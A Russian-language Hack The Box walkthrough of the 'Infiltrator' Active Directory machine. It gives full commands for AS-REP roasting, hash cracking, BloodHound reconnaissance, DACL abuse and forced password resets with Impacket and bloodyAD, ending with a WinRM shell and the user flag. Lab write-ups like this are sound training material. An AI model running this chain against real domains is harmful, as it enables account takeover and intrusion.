Вступление

    Infiltrator — машина уровня Insane на платформе Hack The Box, построенная на Windows Active Directory и нафаршированная всем, что может только пожелать фанат сложных AD-эксплойтов: Kerberos, LDAP, неправильные настройки DACL, GMSA, внутренние приложения и, как вишенка на торте — уязвимость ADCS ESC4. Эта машина требует не просто знания команд, а умения анализировать поведение инфраструктуры, понимать логику бизнес-процессов и грамотно комбинировать инструменты.

    В процессе прохождения мы:

    • получим начальный доступ через Kerberos AS-REP Roasting;

    • проанализируем внутренние группы и роли в AD;

    • сходим в Output Messenger и узнаем много интересного из корпоративной переписки;

    • декомпилируем .NET-приложение и напишем декриптор на Python;

    • получим доступ к дампу AD, изучим GMSA, и в итоге скомпрометируем CA через ESC4.

    Перечисление и разведка

    Первый этап начинается с полного сканирования портов командой:

    nmap -A -v -p- 10.10.11.31

    Результаты сканирования показывают, что перед нами — полноценная Active Directory-среда на Windows-сервере. Среди интересных портов:

    • 80/tcp – HTTP (Microsoft IIS 10.0)

    • 88/tcp – Kerberos

    • 389, 636, 3268, 3269/tcp – LDAP

    • 445/tcp – SMB

    • 5985/tcp – WinRM

    • 3389/tcp – RDP

    В сертификате, полученном на одном из LDAP-портов, видно, что домен называется INFILTRATOR.HTB, а имя контроллера домена — dc01.infiltrator.htb. Это важные сведения, которые пригодятся нам для Kerberos-аутентификации и последующей работы с LDAP.

    Настройка /etc/hosts

    Чтобы всё работало корректно, добавим DNS-имена в файл /etc/hosts. Это нужно, чтобы инструменты вроде kerbrute, impacket и bloodhound-python могли разрешать доменные имена:

    sudo nano /etc/hosts

    Добавляем строку:

    10.10.11.31 dc01.infiltrator.htb infiltrator.htb

    Теперь всё готово для дальнейшей атаки.

    Особое внимание привлекает веб-сервер на порту 80. Перейдя по адресу http://10.10.11.31, мы попадаем на сайт infiltrator.htb, где обнаруживаем список имён сотрудников.

    Собираем список и генерируем свой для дальнейших атак

    Подбираем потенциальные имена пользователей через kerbrute

    kerbrute userenum user -d infiltrator.htb —dc infiltrator.htb

    Сохраняем полученный список пользователей для дальнейшего перечисления

    Следующий шаг — проверка уязвимости AS-REP Roasting. Для этого используем скрипт GetNPUsers из пакета Impacket, который позволяет извлечь хэши пользователей, не требующих предварительной аутентификации (Pre-Auth disabled):

    impacket-GetNPUsers infiltrator.htb/ -dc-ip 10.10.11.31 -usersfile user.txt -format hashcat -outputfile hash_krb5asrep

    Один из хэшей успешно получен, и мы передаём его на взлом с помощью hashcat и стандартного словаря rockyou.txt:

    hashcat -m 18200 hash_krb5asrep rockyou.txt

    В результате подбирается пароль:

    Проверим доступ к LDAP и получим список пользователей:

    netexec ldap 10.10.11.31 -u L.Clark -p ‘WAT?watismypass!’ —users

    Запрос проходит успешно. Более того, в описании одного из пользователей обнаруживаем новый пароль — это отличная возможность для дальнейшего продвижения. Таким образом, от одной учётки мы переходим к следующей, расширяя уровень доступа и зону видимости внутри инфраструктуры.

    Имея доступ к LDAP через учётную запись L.Clark, продолжаем разведку. С помощью bloodhound-python собираем информацию о домене и правах пользователей:

    bloodhound-python -u L.Clark -p ‘WAT?watismypass!’ -ns 10.10.11.31 -d infiltrator.htb -c All —zip

    Изучаем граф BloodHound

    После анализа графа в BloodHound становится ясно: у пользователя D.Anderson есть право GenericAll на организационную единицу MARKETING DIGITAL. Это значит, что через DACL мы можем изменить атрибуты объектов внутри этой OU, включая пароли других пользователей.

    Сначала получаем Kerberos TGT для D.Anderson:

    impacket-getTGT ‘infiltrator.htb/D.ANDERSON’:’WAT?watismypass!’ -dc-ip 10.10.11.31

    используя bloodyAD меняем пароль пользователя E.RODRIGUEZ, который находится в том же подразделении:

    KRB5CCNAME=D.ANDERSON.ccache impacket-dacledit -action ‘write’ -rights ‘FullControl’ -inheritance -principal ‘D.ANDERSON’ -target-dn ‘OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB’ ‘infiltrator.htb’/’D.ANDERSON’:’WAT?watismypass!’ -k -no-pass -dc-ip 10.10.11.31

    MARKETING DIGITAL@INFILTRATOR.HTB Contains E.RODRIGUEZ@INFILTRATOR.HTB

    меняем пароль так как имеем на это право

    KRB5CCNAME=D.ANDERSON.ccache bloodyAD -d ‘infiltrator.htb’ -u ‘D.ANDERSON’ -p ‘WAT?watismypass!’ —host dc01.infiltrator.htb —dc-ip 10.10.11.31 -k set password ‘E.RODRIGUEZ’ ‘P@ssword1234’

    E.RODRIGUEZ@INFILTRATOR.HTB AddSelf CHIEFS MARKETING@INFILTRATOR.HTB

    У E.RODRIGUEZ есть право AddSelf на группу CHIEFS MARKETING. Это позволяет самостоятельно добавить себя в группу:

    impacket-getTGT ‘infiltrator.htb’/’E.RODRIGUEZ’:’P@ssword1234′ -dc-ip dc01.infiltrator.htb

    KRB5CCNAME=E.RODRIGUEZ.ccache bloodyAD —host ‘dc01.infiltrator.htb’ -d ‘infiltrator.htb’ —dc-ip 10.10.11.31 -u ‘E.RODRIGUEZ’ -k add groupMember ‘CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB’ E.RODRIGUEZ

    CHIEFS MARKETING@INFILTRATOR.HTB ForceChangePassword M.HARRIS@INFILTRATOR.HTB

    После вступления в группу, E.RODRIGUEZ получает право ForceChangePassword над пользователем M.HARRIS. Это позволяет без знания старого пароля сменить его:

    KRB5CCNAME=E.RODRIGUEZ.ccache bloodyAD -d ‘infiltrator.htb’ -u ‘E.RODRIGUEZ’ -p ‘P@ssword1234’ —host dc01.infiltrator.htb —dc-ip 10.10.11.31 -k set password ‘M.HARRIS’ ‘P@ssword1234’

    M.HARRIS@INFILTRATOR.HTB CanPSRemote DC01.INFILTRATOR.HTB

    Перед использованием инструментов, работающих с Kerberos-аутентификацией (таких как getTGT, psexec, kerberoast, evil-winrm с флагом -k и других), необходимо правильно настроить Kerberos-клиент на машине атакующего. Без этого возможны ошибки, например KDC not reachable или cannot find realm, поскольку система не сможет определить, куда направлять Kerberos-запросы и как разрешать доменные имена.

    Чтобы всё работало корректно, нужно отредактировать файл sudo /etc/krb5.conf, указав в нём домен, контроллер и правила сопоставления DNS-имён. Это обеспечит стабильную работу с Active Directory, позволит получать тикеты и использовать Kerberos-аутентификацию без сбоев.

    USER FLAG

    После настройки конфигурации можно безопасно получать TGT (Kerberos Ticket Granting Ticket) и мы получаем первый флаг

    impacket-getTGT ‘infiltrator.htb’/’M.HARRIS’:’P@ssword1234′ -dc-ip dc01.infiltrator.htb

    KRB5CCNAME=M.HARRIS.ccache evil-winrm -i dc01.infiltrator.htb -u M.HARRIS -r infiltrator.htb

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *